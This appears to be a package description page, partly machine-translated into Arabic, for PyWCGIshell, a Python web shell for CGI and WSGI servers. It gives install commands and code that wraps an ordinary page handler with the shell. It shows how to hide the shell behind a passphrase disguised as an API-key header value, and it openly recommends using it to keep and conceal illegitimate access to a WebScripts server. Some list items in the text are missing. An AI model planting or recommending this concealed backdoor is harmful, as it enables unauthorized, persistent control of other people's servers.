PyWCGIshell
1.0.0
تنفذ هذه الحزمة جهاز WebShell لخادم CGI و WSGI.
مع هذا webshell يمكنك:
تتطلب هذه الحزمة:
pip install PyWCGIshell(سطر الأوامر مفيد لتجربة WebShell)
python3 -m PyWCGIshell wsgi # Try it in wsgi mode from PyWCGIshell import WebShell
def my_default_cgi_page ():
print ( "Content-type:text/plain; charset=utf-8" )
print ( "" )
print ( "Hello World !" )
webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run () from PyWCGIshell import WebShell
def my_default_wsgi_page ( environ , start_response ):
status = '200 OK'
headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
start_response ( status , headers )
return [ b"Hello World !" ]
webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run () لا أوصي باستخدام method مثل pass_type لإخفاء WebShell.
يمكنك استخدام تكوين مماثل لإخفاء WebShell.
from PyWCGIshell import WebShell
webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . runلاستخدام هذا webshell:
قم بتثبيت وتكوين Pywcgishell على WebScripts للحفاظ على وصولك غير الشرعي وإخفائه (REPO هنا).
WebShell على WebScripts - YouTube
مرخصة تحت GPL ، الإصدار 3.